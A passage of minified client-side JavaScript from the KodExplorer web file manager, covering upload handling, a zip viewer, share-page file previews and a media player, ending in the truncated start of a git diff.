e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")",a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData)if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";a.before(s)}var r=''+date(LNG.time_type,t.mtime)+"";r+=''+core.fileSize(t.size)+"",r+='',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null)) +},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}),define("app/src/share_index/fileShow",["../../common/myPlayer"],function(e){var t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,i="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(t=t.replace("index.php?","index.php/"));var a=function(){if(G.share_info!==void 0){var e=core.pathExt(G.share_info.path);G.path=htmlDecode(G.path),G.share_info.path=htmlDecode(G.share_info.path),"file"!=G.share_info.type&&(i+="&path="+urlEncode(G.path),t+="&path="+G.path),"1"==G.share_info.not_download&&(t="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),topbar.init(),c(e)}else $(".share_info").addClass("hidden")},n=function(){var e=core.pathExt(G.share_info.path),i=$(".bindary_box");i.removeClass("hidden"),i.find(".name").html(htmlEncode(G.share_info.name)),i.find(".ico").html(core.icon(e)),i.find(".btn_download").attr("href",t);var a=date("Y/m/d h:i",G.share_info.mtime);i.find(".share_time").html(a),i.find(".size span").html(G.share_info.size),$("body").addClass("can_select")},o=function(e){for(var t=[],i=0;e.length>i;i++)t[i]=e.charCodeAt(i).toString(16);return"&#"+String.fromCharCode(120)+t.join(";&#"+String.fromCharCode(120))+";"},s=function(){ace.require("ace/ext/language_tools");var e=ace.require("ace/ext/modelist"),t=ace.require("ace/lib/net");t.loadScript.hook("loadScript",t,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments}),$.get(i,function(t){var i=e.getModeForPath(G.share_info.path).mode,a='
        '+o(t)+"
        ";$(".content_box").addClass("show_code").append(a);var n=ace.edit("ace_text_show");n.setTheme("ace/theme/tomorrow"),n.setReadOnly(!0),n.setShowPrintMargin(!1),n.getSession().setMode(i),n.getSession().setTabSize(4),n.getSession().setUseWrapMode(1),n.setFontSize(15)})},r=function(){e.async("lib/markdown/markdown-it.min",function(){var t=window.markdownit({html:!0,breaks:!0});$.get(i,function(i){var a=t.render(i),n=$(".content_box");n.addClass("markdown_preview can_select").append(a),n.find("a").attr("target","_blank");var o="

        [TOC]

        ";if(-1!=n.html().indexOf(o)){var s=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+='
      • '+$(this).text()+"
      • "}),t="
          "+t+"
        "},r=s(n),a=n.html();a=a.replace(o,r),a=a.replace(/ data-link="#(.*?)">/g,'>'),n.html(a)}e.async("lib/markdown/highlight.min",function(){$(".content_box").find("pre code").each(function(e,t){$(this).removeAttr("class"),hljs.highlightBlock(t)})}),e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(n[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),n.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e='
        '+e+"
        ",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof callback&&callback()})})})},l=function(){var t=G.app_host+i,a=e("../../common/myPlayer");a.play([{url:t,name:G.share_info.name,ext:core.pathExt(G.share_info.path)}])},c=function(e){if("md"==e)return r(),void 0;if("swf"==e){var t=core.createFlash(htmlEncode(i),"");return $(".content_box").addClass("show_swf").append(t),void 0}if(inArray(core.filetype.image,e)){var t='';return $(".content_box").addClass("show_image").append(t),void 0}if(inArray(core.filetype.movie,e)||inArray(core.filetype.music,e))return l(),void 0;if(inArray(core.filetype.doc,e)||"pdf"==e){var a=G.share_info.path;"file"!=G.share_info.type&&(a=G.path);var o=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+a,t='';return $(".frame-main").addClass("office_page").append(t),$(".content_box").addClass("hidden"),void 0}return inArray(core.filetype.text,e)?(s(),void 0):(n(),void 0)};return{init:a}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}); \ No newline at end of file diff --git a/static/js/app/src/user/main.js b/static/js/app/src/user/main.js index 3d83195..cfb58be 100755 --- a/static/js/app/src/user/main.js +++ b/static/js/app/src/user/main.js @@ -1,3 +1,4 @@ -/*! power by kodexplorer ver3.41(2017-03-06) [build 1488797373403] */ -define("app/src/user/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),$(document).ready(function(){$(".init_loading").fadeOut(450).addClass("pop_fadeout"),core.init(),LocalData.del("this_path");var e=function(){$(":focus").is("input")||0==$("#username").length||$("#username").focus()},t=function(){var 